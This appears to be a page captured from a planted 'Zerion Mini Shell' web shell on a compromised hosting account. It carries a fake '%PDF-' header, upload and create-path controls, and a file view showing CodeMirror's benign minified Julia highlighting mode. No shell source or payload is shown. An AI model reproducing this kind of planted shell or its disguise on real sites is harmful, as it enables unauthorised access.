%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/lightco1/www/media/editors/codemirror/mode/julia/
Upload File :
Create Path :
Current File : /home/lightco1/www/media/editors/codemirror/mode/julia/julia.min.js

!(function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use strict";a.defineMode("julia",(function(a,b){function c(a,b){return"undefined"==typeof b&&(b="\\b"),new RegExp("^(("+a.join(")|(")+"))"+b)}function d(a){return e(a,"[")}function e(a,b){var c=f(a),d=f(a,1);return"undefined"==typeof b&&(b="("),c===b||d===b&&"for"===c}function f(a,b){return"undefined"==typeof b&&(b=0),a.scopes.length<=b?null:a.scopes[a.scopes.length-(b+1)]}function g(a,b){if(a.match(/^#=/,!1))return b.tokenize=j,b.tokenize(a,b);var c=b.leavingExpr;if(a.sol()&&(c=!1),b.leavingExpr=!1,c&&a.match(/^'+/))return"operator";if(a.match(/^\.{2,3}/))return"operator";if(a.eatSpace())return null;var g=a.peek();if("#"===g)return a.skipToEnd(),"comment";"["===g&&b.scopes.push("["),"("===g&&b.scopes.push("(");var m=f(b);d(b)&&"]"===g&&("for"===m&&b.scopes.pop(),b.scopes.pop(),b.leavingExpr=!0),e(b)&&")"===g&&("for"===m&&b.scopes.pop(),b.scopes.pop(),b.leavingExpr=!0);var n;if((n=a.match(u,!1))&&b.scopes.push(n[0]),a.match(v,!1)&&b.scopes.pop(),d(b)){if("end"==b.lastToken&&a.match(/^:/))return"operator";if(a.match(/^end/))return"number"}if(a.match(/^::(?![:\$])/))return b.tokenize=i,b.tokenize(a,b);if(!c&&a.match(z)||a.match(/:\./))return"builtin";if(a.match(/^{[^}]*}(?=\()/))return"builtin";if(a.match(q))return"operator";if(a.match(/^[0-9\.]/,!1)){var o=RegExp(/^im\b/),p=!1;if(a.match(/^\d*\.(?!\.)\d*([Eef][\+\-]?\d+)?/i)&&(p=!0),a.match(/^\d+\.(?!\.)\d*/)&&(p=!0),a.match(/^\.\d+/)&&(p=!0),a.match(/^0x\.[0-9a-f]+p[\+\-]?\d+/i)&&(p=!0),a.match(/^0x[0-9a-f]+/i)&&(p=!0),a.match(/^0b[01]+/i)&&(p=!0),a.match(/^0o[0-7]+/i)&&(p=!0),a.match(/^[1-9]\d*(e[\+\-]?\d+)?/)&&(p=!0),a.match(/^0(?![\dx])/i)&&(p=!0),p)return a.match(o),b.leavingExpr=!0,"number"}if(a.match(/^'/))return b.tokenize=k,b.tokenize(a,b);if(a.match(A))return b.tokenize=l(a.current()),b.tokenize(a,b);if(a.match(y))return"meta";if(a.match(r))return null;if(a.match(w))return"keyword";if(a.match(x))return"builtin";var t=b.isDefinition||"function"==b.lastToken||"macro"==b.lastToken||"type"==b.lastToken||"immutable"==b.lastToken;return a.match(s)?t?"."===a.peek()?(b.isDefinition=!0,"variable"):(b.isDefinition=!1,"def"):a.match(/^({[^}]*})*\(/,!1)?h(a,b):(b.leavingExpr=!0,"variable"):(a.next(),"error")}function h(a,b){var c=a.match(/^(\(\s*)/);if(c&&(b.firstParenPos<0&&(b.firstParenPos=b.scopes.length),b.scopes.push("("),b.charsAdvanced+=c[1].length),"("==f(b)&&a.match(/^\)/)&&(b.scopes.pop(),b.charsAdvanced+=1,b.scopes.length<=b.firstParenPos)){var d=a.match(/^\s*?=(?!=)/,!1);return a.backUp(b.charsAdvanced),b.firstParenPos=-1,b.charsAdvanced=0,d?"def":"builtin"}if(a.match(/^$/g,!1)){for(a.backUp(b.charsAdvanced);b.scopes.length>b.firstParenPos;)b.scopes.pop();return b.firstParenPos=-1,b.charsAdvanced=0,"builtin"}return b.charsAdvanced+=a.match(/^([^()]*)/)[1].length,h(a,b)}function i(a,b){return a.match(/.*?(?=,|;|{|}|\(|\)|=|$|\s)/),a.match(/^{/)?b.nestedLevels++:a.match(/^}/)&&b.nestedLevels--,b.nestedLevels>0?a.match(/.*?(?={|})/):0==b.nestedLevels&&(b.tokenize=g),"builtin"}function j(a,b){return a.match(/^#=/)&&b.nestedLevels++,a.match(/.*?(?=(#=|=#))/)||a.skipToEnd(),a.match(/^=#/)&&(b.nestedLevels--,0==b.nestedLevels&&(b.tokenize=g)),"comment"}function k(a,b){var c,d=!1;if(a.match(t))d=!0;else if(c=a.match(/\\u([a-f0-9]{1,4})(?=')/i)){var e=parseInt(c[1],16);(e<=55295||e>=57344)&&(d=!0,a.next())}else if(c=a.match(/\\U([A-Fa-f0-9]{5,8})(?=')/)){var e=parseInt(c[1],16);e<=1114111&&(d=!0,a.next())}return d?(b.leavingExpr=!0,b.tokenize=g,"string"):(a.match(/^[^']+(?=')/)||a.skipToEnd(),a.match(/^'/)&&(b.tokenize=g),"error")}function l(a){function b(b,c){if(b.eat("\\"))b.next();else{if(b.match(a))return c.tokenize=g,c.leavingExpr=!0,"string";b.eat(/[`"]/)}return b.eatWhile(/[^\\`"]/),"string"}return'"""'===a.substr(-3)?a='"""':'"'===a.substr(-1)&&(a='"'),b}var m="\\\\[0-7]{1,3}",n="\\\\x[A-Fa-f0-9]{1,2}",o="\\\\[abefnrtv0%?'\"\\\\]",p="([^\\u0027\\u005C\\uD800-\\uDFFF]|[\\uD800-\\uDFFF][\\uDC00-\\uDFFF])",q=b.operators||c(["\\.?[\\\\%*+\\-<>!=\\/^]=?","\\.?[|&\\u00F7\\u2260\\u2264\\u2265]","\\u00D7","\\u2208","\\u2209","\\u220B","\\u220C","\\u2229","\\u222A","\\u2286","\\u2288","\\u228A","\\u22c5","\\?","~",":","\\$","\\.[<>]","<<=?",">>>?=?","\\.[<>=]=","->?","\\/\\/","=>","<:","\\bin\\b(?!\\()"],""),r=b.delimiters||/^[;,()[\]{}]/,s=b.identifiers||/^[_A-Za-z\u00A1-\uFFFF][\w\u00A1-\uFFFF]*!*/,t=c([m,n,o,p],"'"),u=c(["begin","function","type","immutable","let","macro","for","while","quote","if","else","elseif","try","finally","catch","do"]),v=c(["end","else","elseif","catch","finally"]),w=c(["if","else","elseif","while","for","begin","let","end","do","try","catch","finally","return","break","continue","global","local","const","export","import","importall","using","function","macro","module","baremodule","type","immutable","quote","typealias","abstract","bitstype"]),x=c(["true","false","nothing","NaN","Inf"]),y=/^@[_A-Za-z][\w]*/,z=/^:[_A-Za-z\u00A1-\uFFFF][\w\u00A1-\uFFFF]*!*/,A=/^(`|([_A-Za-z\u00A1-\uFFFF]*"("")?))/,B={startState:function(){return{tokenize:g,scopes:[],lastToken:null,leavingExpr:!1,isDefinition:!1,nestedLevels:0,charsAdvanced:0,firstParenPos:-1}},token:function(a,b){var c=b.tokenize(a,b),d=a.current();return d&&c&&(b.lastToken=d),"."===d&&(c=a.match(s,!1)||a.match(y,!1)||a.match(/\(/,!1)?"operator":"error"),c},indent:function(b,c){var d=0;return"]"!==c&&")"!==c&&"end"!==c&&"else"!==c&&"catch"!==c&&"elseif"!==c&&"finally"!==c||(d=-1),(b.scopes.length+d)*a.indentUnit},electricInput:/\b(end|else|catch|finally)\b/,blockCommentStart:"#=",blockCommentEnd:"=#",lineComment:"#",fold:"indent"};return B})),a.defineMIME("text/x-julia","julia")}));

Zerion Mini Shell 1.0